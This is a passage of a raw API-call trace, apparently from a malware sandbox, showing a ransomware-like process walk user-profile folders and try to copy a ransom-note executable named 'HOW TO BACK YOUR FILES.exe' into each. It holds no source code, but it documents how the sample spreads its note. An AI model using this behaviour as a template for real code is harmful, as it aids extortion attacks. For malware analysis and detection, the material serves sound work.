[0049.471] lstrcmpiW (lpString1="Documents", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.471] lstrcmpiW (lpString1="Documents", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.471] lstrcpyW (in: lpString1=0x241e86e, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0049.471] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b020 [0049.471] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x3a) returned 0x50f838 [0049.471] lstrcatW (in: lpString1="Documents", lpString2="\\" | out: lpString1="Documents\\") returned="Documents\\" [0049.471] lstrcatW (in: lpString1="Documents\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Documents\\HOW TO BACK YOUR FILES.exe") returned="Documents\\HOW TO BACK YOUR FILES.exe" [0049.471] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\documents\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.472] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0049.472] lstrcmpiW (lpString1="Favorites", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.472] lstrcmpiW (lpString1="Favorites", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.472] lstrcpyW (in: lpString1=0x241e86e, lpString2="Favorites" | out: lpString1="Favorites") returned="Favorites" [0049.472] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b038 [0049.472] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x3a) returned 0x50f7a8 [0049.472] lstrcatW (in: lpString1="Favorites", lpString2="\\" | out: lpString1="Favorites\\") returned="Favorites\\" [0049.472] lstrcatW (in: lpString1="Favorites\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Favorites\\HOW TO BACK YOUR FILES.exe") returned="Favorites\\HOW TO BACK YOUR FILES.exe" [0049.472] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Favorites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\favorites\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.472] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb9e9c2a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xb9e9c2a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0049.472] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0049.472] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc608f00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc608f00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0049.472] lstrcmpiW (lpString1="Microsoft", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.473] lstrcmpiW (lpString1="Microsoft", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.473] lstrcpyW (in: lpString1=0x241e86e, lpString2="Microsoft" | out: lpString1="Microsoft") returned="Microsoft" [0049.473] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b050 [0049.473] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x3a) returned 0x50f760 [0049.473] lstrcatW (in: lpString1="Microsoft", lpString2="\\" | out: lpString1="Microsoft\\") returned="Microsoft\\" [0049.473] lstrcatW (in: lpString1="Microsoft\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft\\HOW TO BACK YOUR FILES.exe") returned="Microsoft\\HOW TO BACK YOUR FILES.exe" [0049.473] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.473] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xc4b2fda0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4b2fda0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~2")) returned 1 [0049.473] lstrcmpiW (lpString1="Microsoft Help", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.473] lstrcmpiW (lpString1="Microsoft Help", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.473] lstrcpyW (in: lpString1=0x241e86e, lpString2="Microsoft Help" | out: lpString1="Microsoft Help") returned="Microsoft Help" [0049.473] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b068 [0049.473] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x44) returned 0x517668 [0049.473] lstrcatW (in: lpString1="Microsoft Help", lpString2="\\" | out: lpString1="Microsoft Help\\") returned="Microsoft Help\\" [0049.473] lstrcatW (in: lpString1="Microsoft Help\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft Help\\HOW TO BACK YOUR FILES.exe") returned="Microsoft Help\\HOW TO BACK YOUR FILES.exe" [0049.473] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft help\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.474] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbc62f060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc62f060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0049.474] lstrcmpiW (lpString1="Mozilla", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.474] lstrcmpiW (lpString1="Mozilla", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.474] lstrcpyW (in: lpString1=0x241e86e, lpString2="Mozilla" | out: lpString1="Mozilla") returned="Mozilla" [0049.474] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b080 [0049.474] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x36) returned 0x529650 [0049.474] lstrcatW (in: lpString1="Mozilla", lpString2="\\" | out: lpString1="Mozilla\\") returned="Mozilla\\" [0049.474] lstrcatW (in: lpString1="Mozilla\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Mozilla\\HOW TO BACK YOUR FILES.exe") returned="Mozilla\\HOW TO BACK YOUR FILES.exe" [0049.474] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Mozilla\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\mozilla\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.474] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xbc62f060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc62f060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Oracle", cAlternateFileName="")) returned 1 [0049.474] lstrcmpiW (lpString1="Oracle", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.474] lstrcmpiW (lpString1="Oracle", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.474] lstrcpyW (in: lpString1=0x241e86e, lpString2="Oracle" | out: lpString1="Oracle") returned="Oracle" [0049.474] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b098 [0049.474] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x34) returned 0x529690 [0049.475] lstrcatW (in: lpString1="Oracle", lpString2="\\" | out: lpString1="Oracle\\") returned="Oracle\\" [0049.475] lstrcatW (in: lpString1="Oracle\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Oracle\\HOW TO BACK YOUR FILES.exe") returned="Oracle\\HOW TO BACK YOUR FILES.exe" [0049.475] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Oracle\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\oracle\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.475] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xbc62f060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc62f060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Package Cache", cAlternateFileName="PACKAG~1")) returned 1 [0049.475] lstrcmpiW (lpString1="Package Cache", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.475] lstrcmpiW (lpString1="Package Cache", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.475] lstrcpyW (in: lpString1=0x241e86e, lpString2="Package Cache" | out: lpString1="Package Cache") returned="Package Cache" [0049.475] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b0b0 [0049.475] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x42) returned 0x5176b8 [0049.475] lstrcatW (in: lpString1="Package Cache", lpString2="\\" | out: lpString1="Package Cache\\") returned="Package Cache\\" [0049.475] lstrcatW (in: lpString1="Package Cache\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Package Cache\\HOW TO BACK YOUR FILES.exe") returned="Package Cache\\HOW TO BACK YOUR FILES.exe" [0049.475] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.476] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0049.476] lstrcmpiW (lpString1="Start Menu", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.476] lstrcmpiW (lpString1="Start Menu", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.476] lstrcpyW (in: lpString1=0x241e86e, lpString2="Start Menu" | out: lpString1="Start Menu") returned="Start Menu" [0049.476] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b0c8 [0049.476] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x3c) returned 0x50f9e8 [0049.476] lstrcatW (in: lpString1="Start Menu", lpString2="\\" | out: lpString1="Start Menu\\") returned="Start Menu\\" [0049.476] lstrcatW (in: lpString1="Start Menu\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Start Menu\\HOW TO BACK YOUR FILES.exe") returned="Start Menu\\HOW TO BACK YOUR FILES.exe" [0049.476] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Start Menu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\start menu\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.476] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xbc6551c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc6551c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1 [0049.476] lstrcmpiW (lpString1="Sun", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.476] lstrcmpiW (lpString1="Sun", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.476] lstrcpyW (in: lpString1=0x241e86e, lpString2="Sun" | out: lpString1="Sun") returned="Sun" [0049.476] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b0e0 [0049.476] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x2e) returned 0x51a8a0 [0049.477] lstrcatW (in: lpString1="Sun", lpString2="\\" | out: lpString1="Sun\\") returned="Sun\\" [0049.477] lstrcatW (in: lpString1="Sun\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Sun\\HOW TO BACK YOUR FILES.exe") returned="Sun\\HOW TO BACK YOUR FILES.exe" [0049.477] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Sun\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\sun\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.477] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0049.477] lstrcmpiW (lpString1="Templates", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.477] lstrcmpiW (lpString1="Templates", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.477] lstrcpyW (in: lpString1=0x241e86e, lpString2="Templates" | out: lpString1="Templates") returned="Templates" [0049.477] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b0f8 [0049.477] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x3a) returned 0x50fa30 [0049.477] lstrcatW (in: lpString1="Templates", lpString2="\\" | out: lpString1="Templates\\") returned="Templates\\" [0049.477] lstrcatW (in: lpString1="Templates\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Templates\\HOW TO BACK YOUR FILES.exe") returned="Templates\\HOW TO BACK YOUR FILES.exe" [0049.477] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\templates\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.478] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0 [0049.478] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0049.478] ReleaseMutex (hMutex=0xec) returned 1 [0049.478] CloseHandle (hObject=0xec) returned 1 [0049.478] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0049.478] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518138 | out: hHeap=0x4f0000) returned 1 [0049.478] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50dc58 | out: hHeap=0x4f0000) returned 1 [0049.478] lstrlenW (lpString="C:\\Users\\Default") returned 16 [0049.478] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\46D941A42C347CA148DCE5A0702AB9EF") returned 0xec [0049.478] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0049.478] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0049.478] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0049.478] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.478] CreateFileW (lpFileName="C:\\Users\\Default\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0049.478] GetLastError () returned 0x0 [0049.479] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0049.479] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x532d08 [0049.479] ReadFile (in: hFile=0xf4, lpBuffer=0x532d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x532d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0049.479] CloseHandle (hObject=0xf4) returned 1 [0049.479] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0049.479] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0049.479] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd17d8e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd17d8e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0049.480] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.480] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0049.481] lstrcpyW (in: lpString1=0x241e86a, lpString2="AppData" | out: lpString1="AppData") returned="AppData" [0049.481] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50dc58 [0049.481] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x32) returned 0x5296d0 [0049.481] lstrcatW (in: lpString1="AppData", lpString2="\\" | out: lpString1="AppData\\") returned="AppData\\" [0049.481] lstrcatW (in: lpString1="AppData\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="AppData\\HOW TO BACK YOUR FILES.exe") returned="AppData\\HOW TO BACK YOUR FILES.exe" [0049.481] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.481] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0049.481] lstrcmpiW (lpString1="Application Data", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.481] lstrcmpiW (lpString1="Application Data", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0049.481] lstrcpyW (in: lpString1=0x241e86a, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data" [0049.481] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b110 [0049.481] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x44) returned 0x517708 [0049.481] lstrcatW (in: lpString1="Application Data", lpString2="\\" | out: lpString1="Application Data\\") returned="Application Data\\" [0049.481] lstrcatW (in: lpString1="Application Data\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Application Data\\HOW TO BACK YOUR FILES.exe") returned="Application Data\\HOW TO BACK YOUR FILES.exe" [0049.481] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\application data\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.482] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbcf685a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf685a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0049.482] lstrcmpiW (lpString1="Contacts", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.482] lstrcmpiW (lpString1="Contacts", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0049.482] lstrcpyW (in: lpString1=0x241e86a, lpString2="Contacts" | out: lpString1="Contacts") returned="Contacts" [0049.482] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b128 [0049.482] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x34) returned 0x529710 [0049.482] lstrcatW (in: lpString1="Contacts", lpString2="\\" | out: lpString1="Contacts\\") returned="Contacts\\" [0049.482] lstrcatW (in: lpString1="Contacts\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Contacts\\HOW TO BACK YOUR FILES.exe") returned="Contacts\\HOW TO BACK YOUR FILES.exe" [0049.482] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Contacts\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\contacts\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.482] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0049.482] lstrcmpiW (lpString1="Cookies", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.482] lstrcmpiW (lpString1="Cookies", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0049.483] lstrcpyW (in: lpString1=0x241e86a, lpString2="Cookies" | out: lpString1="Cookies") returned="Cookies" [0049.483] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b140 [0049.483] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x32) returned 0x529750 [0049.483] lstrcatW (in: lpString1="Cookies", lpString2="\\" | out: lpString1="Cookies\\") returned="Cookies\\" [0049.483] lstrcatW (in: lpString1="Cookies\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Cookies\\HOW TO BACK YOUR FILES.exe") returned="Cookies\\HOW TO BACK YOUR FILES.exe" [0049.483] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Cookies\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\cookies\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.483] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: 